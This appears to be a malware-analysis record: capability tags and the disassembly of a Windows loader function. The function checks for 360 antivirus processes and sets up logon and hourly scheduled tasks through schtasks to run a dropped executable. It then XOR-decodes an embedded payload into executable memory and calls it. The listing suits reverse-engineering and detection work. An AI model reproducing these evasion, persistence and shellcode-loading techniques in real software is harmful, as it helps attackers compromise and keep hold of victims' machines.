Function at 0x140002240
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Schedule task via schtasks

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x90
movaps xmmword [rax - 0x18], xmm6
lea rcx, str.360Tray.exe
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
call fcn.140001d40
test al, al
jne 0x140002288
lea rcx, str.360Safe.exe
call fcn.140001d40
test al, al
jne 0x140002288
call fcn.140001e00
jmp 0x14000228d
call fcn.140001fa0
movsd xmm9, qword [0x1400069a8]
xorps xmm8, xmm8
mov edi, 1
mov ebx, 0x2724
nop dword [rax]
nop dword [rax + rax]
mov ecx, ebx
movd xmm6, edi
mov eax, 1
shl eax, cl
cvtdq2pd xmm6, xmm6
movd xmm7, eax
cvtdq2pd xmm7, xmm7
movaps xmm0, xmm7
divsd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_floor
movaps xmm1, xmm9
subsd xmm7, xmm0
divsd xmm1, xmm6
sub ebx, 0xa
add edi, 0xa
mulsd xmm7, xmm1
addsd xmm8, xmm7
test ebx, ebx
jg 0x1400022b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001030]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, 0x3e8
lea rcx, [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setprecision_long_long___int64__]
mov rdx, qword [rbx]
movsxd rcx, dword [rdx + 4]
mov rdx, qword [rax + 8]
add rcx, rbx
call qword [rax]
movaps xmm1, xmm8
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___double____ptr64]
mov rcx, rax
lea rdx, [0x1400026f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.360Tray.exe
call fcn.140001d40
xor ebx, ebx
test al, al
jne 0x14000243c
lea rcx, str.360Safe.exe
call fcn.140001d40
test al, al
jne 0x14000243c
mov qword [rsp + 0x30], rbx
lea rcx, str.C:UsersPublicDocuments_ttd_logon.txt
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400023ce
mov dword [rsp + 0x28], ebx
lea r9, str._create__sc_onlogon__tn_LogonTask__tr_C:UsersPublicDocuments_ttd.exe
lea r8, str.schtasks
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rbx
lea rcx, str.C:UsersPublicDocuments_ttd_hourly.txt
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002433
mov dword [rsp + 0x28], ebx
lea r9, str._create__sc_hourly__mo_1__tn_HourlyTask__tr_C:UsersPublicDocuments_ttd.exe
lea r8, str.schtasks
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
mov edx, 0x67702
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movdqa xmm2, xmmword [str.cccccccccccccccc_]
lea rcx, [0x140009080]
mov rdi, rax
nop word [rax + rax]
movdqu xmm0, xmmword [rcx - 0x10]
lea rcx, [rcx + 0x40]
add ebx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x40], xmm1
movdqu xmm0, xmmword [rcx - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rcx - 0x30], xmm0
movdqu xmm0, xmmword [rcx - 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx - 0x20], xmm0
cmp ebx, 0x67700
jb 0x140002470
movsxd rax, ebx
lea rdx, [0x140009070]
cmp rax, 0x67702
jae 0x1400024e1
add rax, rdx
xor byte [rax], 0x63
lea rax, [rax + 1]
inc ebx
cmp ebx, 0x67702
jb 0x1400024d0
mov r8d, 0x67702
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
call rdi
movaps xmm7, xmmword [rsp + 0x70]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
xor eax, eax
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop rdi
ret